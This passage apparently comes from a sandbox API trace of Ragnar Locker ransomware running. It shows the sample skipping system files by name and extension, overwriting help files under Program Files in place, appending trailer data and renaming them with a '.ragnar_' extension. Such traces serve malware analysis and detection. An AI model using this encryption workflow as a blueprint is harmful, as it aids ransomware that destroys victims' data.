lpString1=0x1ea092, lpString2="VBHW6.CHM" | out: lpString1="VBHW6.CHM") returned="VBHW6.CHM" [0078.125] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned=".CHM" [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="autorun.inf") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="boot.ini") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="bootfont.bin") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="bootsect.bak") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="bootmgr") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="bootmgr.efi") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="bootmgfw.efi") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="desktop.ini") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="iconcache.db") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="ntldr") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="ntuser.dat") returned 1 [0078.125] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="ntuser.dat.log") returned 1 [0078.126] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="ntuser.ini") returned 1 [0078.126] lstrcmpiW (lpString1="VBHW6.CHM", lpString2="thumbs.db") returned 1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.126] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0078.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.126] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=58026) returned 1 [0078.126] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xe2a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.126] GetProcessHeap () returned 0x580000 [0078.126] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.126] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.128] VirtualAlloc (lpAddress=0x0, dwSize=0xe2aa, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.129] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.129] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.129] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe2aa, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0xe2aa, lpOverlapped=0x0) returned 1 [0078.131] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.131] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe2aa, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.131] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe2aa, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0xe2aa, lpOverlapped=0x0) returned 1 [0078.132] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe2aa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.132] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.132] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xe2aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.132] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.132] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.132] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.132] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.132] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.132] GetProcessHeap () returned 0x580000 [0078.132] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.132] CloseHandle (hObject=0x108) returned 1 [0078.132] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" [0078.132] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.ragnar_FD7BD9FC" [0078.133] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.133] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0078.133] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.133] lstrcpyW (in: lpString1=0x1ea092, lpString2="VBLR6.CHM" | out: lpString1="VBLR6.CHM") returned="VBLR6.CHM" [0078.133] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned=".CHM" [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="autorun.inf") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="boot.ini") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="bootfont.bin") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="bootsect.bak") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="bootmgr") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="bootmgr.efi") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="bootmgfw.efi") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="desktop.ini") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="iconcache.db") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="ntldr") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="ntuser.dat") returned 1 [0078.133] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="ntuser.dat.log") returned 1 [0078.134] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="ntuser.ini") returned 1 [0078.134] lstrcmpiW (lpString1="VBLR6.CHM", lpString2="thumbs.db") returned 1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.134] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.134] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0078.134] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.134] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=944994) returned 1 [0078.134] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xe6b59, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.134] GetProcessHeap () returned 0x580000 [0078.134] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.134] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.136] VirtualAlloc (lpAddress=0x0, dwSize=0xe6b62, flAllocationType=0x3000, flProtect=0x4) returned 0x22c0000 [0078.136] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.136] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.136] ReadFile (in: hFile=0x108, lpBuffer=0x22c0000, nNumberOfBytesToRead=0xe6b62, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesRead=0x1e9984*=0xe6b62, lpOverlapped=0x0) returned 1 [0078.156] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.160] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe6b62, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.160] WriteFile (in: hFile=0x108, lpBuffer=0x22c0000*, nNumberOfBytesToWrite=0xe6b62, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x22c0000*, lpNumberOfBytesWritten=0x1e9980*=0xe6b62, lpOverlapped=0x0) returned 1 [0078.163] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe6b62, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.163] VirtualFree (lpAddress=0x22c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.179] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xe6b62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.179] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.179] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.179] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.179] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.179] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.179] GetProcessHeap () returned 0x580000 [0078.179] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.179] CloseHandle (hObject=0x108) returned 1 [0078.179] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" [0078.179] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.ragnar_FD7BD9FC" [0078.179] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.180] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0078.180] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.180] lstrcpyW (in: lpString1=0x1ea092, lpString2="VBOB6.CHM" | out: lpString1="VBOB6.CHM") returned="VBOB6.CHM" [0078.180] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned=".CHM" [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="autorun.inf") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="boot.ini") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="bootfont.bin") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="bootsect.bak") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="bootmgr") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="bootmgr.efi") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="bootmgfw.efi") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="desktop.ini") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="iconcache.db") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="ntldr") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="ntuser.dat") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="ntuser.dat.log") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="ntuser.ini") returned 1 [0078.180] lstrcmpiW (lpString1="VBOB6.CHM", lpString2="thumbs.db") returned 1 [0078.180] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.180] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.180] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.180] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.181] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.181] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.181] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0078.181] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.181] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=123956) returned 1 [0078.181] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1e42b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.181] GetProcessHeap () returned 0x580000 [0078.181] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.181] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.188] VirtualAlloc (lpAddress=0x0, dwSize=0x1e434, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0078.188] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.188] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.189] ReadFile (in: hFile=0x108, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e434, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x1e434, lpOverlapped=0x0) returned 1 [0078.191] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.192] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e434, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.192] WriteFile (in: hFile=0x108, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e434, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x1e434, lpOverlapped=0x0) returned 1 [0078.193] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e434, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.193] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.193] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x1e434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.193] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.193] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.194] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.194] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.194] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.194] GetProcessHeap () returned 0x580000 [0078.194] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.194] CloseHandle (hObject=0x108) returned 1 [0078.194] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" [0078.194] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.ragnar_FD7BD9FC" [0078.194] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.195] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0078.195] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x44 [0078.195] lstrcpyW (in: lpString1=0x1ea092, lpString2="VBUI6.CHM" | out: lpString1="VBUI6.CHM") returned="VBUI6.CHM" [0078.195] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned=".CHM" [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", 